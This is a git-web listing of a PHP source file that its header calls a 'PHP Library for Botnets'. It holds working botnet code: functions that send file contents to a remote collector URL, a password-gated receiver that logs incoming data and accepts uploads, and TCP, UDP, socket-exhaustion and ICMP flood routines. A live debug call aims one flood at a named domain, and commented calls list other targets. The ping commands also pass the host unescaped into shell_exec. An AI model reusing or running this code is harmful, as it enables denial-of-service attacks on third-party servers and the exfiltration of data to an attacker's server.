docs
[mirrors/Programs.git] / php / botlib.php
1 <?php
2 //PHP Library for Botnets
3 //<-Harvie 2oo7
4 //botlib.php v0.1
5 //////////////////////////////
6
7 ///Settings/////////////////////////////////////////////////////////
8 $passwd = "botload";
9
10 ///Functions////////////////////////////////////////////////////////
11
12 ////Uploading to server (GET)
13 //
14 function botlib_send_plaintext($passwd, $data, $botlib_url) {
15 file("$botlib_url?passwd=$passwd?data=".urlencode($data));
16 }
17 //
18 function botlib_send_plaintext_file($passwd, $file, $botlib_url) {
19 $data = implode("\n", file($file));
20 botlib_send_plaintext($passwd, $data, $botlib_url);
21 }
22 //
23 if(isset($_GET["data"]) && isset($_GET["passwd"])) {
24 $msg_file = "./data.txt";
25
26 if($_GET["passwd"] != $passwd) die("Error - Incorrect password!");
27 $fp = fopen($msg_file, "a");
28 $data = "\n\n>> ".$_SERVER["REMOTE_ADDR"]." >>\n".$_GET["data"];
29 fwrite($fp, $data);
30 fclose($fp);
31 die("OK - Sent!");
32 }
33
34 ////Uploading to server (POST) - Not Yet!!!!
35 //
36 function curl_upload_file($file, $botlib_url) {
37 $cmd = "$curl --url $botlib_url";
38 }
39 //
40 if(isset($_POST) && isset($_FILES) && isset($_POST["passwd"])) {
41 $dir = "./uploads";
42
43 if($_POST["passwd"] != $passwd) die("Error - Incorrect password!</tt>");
44 if(!is_dir($dir)) { mkdir($dir); }
45 if(is_file($dir.$_FILES['file']['name'])) die("Error - File ".$dir.$_FILES['file']['name']." already exists!</tt>");
46 if(!move_uploaded_file($_FILES['file']['tmp_name'], $dir.$_FILES['file']['name'])) { die("Error - Can't move uploaded file!</tt>"); }
47 die("OK - Upload successfull!");
48 }
49
50 ////(D)DoS Attacks
51 //
52 function dos_sock_table($host, $port, $max = 0, $timeout = 0.5) {
53 $i = 1;
54 while(1) {
55 @fclose($sock_array[$i]);
56 $sock_array[$i] = @fsockopen($host, $port, $errno, $errstr, $timeout);
57 $i++;
58 if($i == $max) $i = 1;
59 }
60 }
61 //
62 function dos_tcp_flood($host, $port, $timeout = 0.00001) {
63 while(1) @fsockopen($host, $port, $errno, $errstr, $timeout);
64 }
65 //
66 function dos_udp_flood($host, $size=1024, $port=0, $char='#') {
67 if($port == 0) $port = rand(1,65535);
68 $fp = fsockopen("udp://$host", $port);
69 if(!$fp) exit(1);
70 $data = "";
71 for($i=0;$i<$size;$i++) $data = $data.$char; //echo strlen($data); //Debug
72 while(1) fwrite($fp, $data);
73 }
74 //
75 function dos_icmp_flood($host, $ttl=255, $unix=false, $root=false) {
76 if($unix) {
77 if($root) shell_exec("ping -b -Q 255 -f -t $ttl -l 3 -i 0.2 -s 65507 $host");
78 else shell_exec("ping -b -f -t $ttl -Q 159 -l 65536 -i 0 -s 65507 $host");
79 } else {
80 shell_exec("ping -t -i $ttl -v 255 -l 65500 -w 1 $host");
81 }
82 }
83
84 ///Debuging////////////////////////////////////////////////////////////////
85 dos_sock_table("djh.cz", 80, 9000);
86 //dos_tcp_flood("djh.cz", 80);
87 //dos_sock_table("daemoncze.ath.cx", 80, 3000);
88 //dos_sock_table("harvie.ath.cx", 80, 3000);
89 //dos_udp_flood("192.168.2.161");
90 //dos_icmp_flood("192.168.2.161");
This page took 0.332955 seconds and 4 git commands to generate.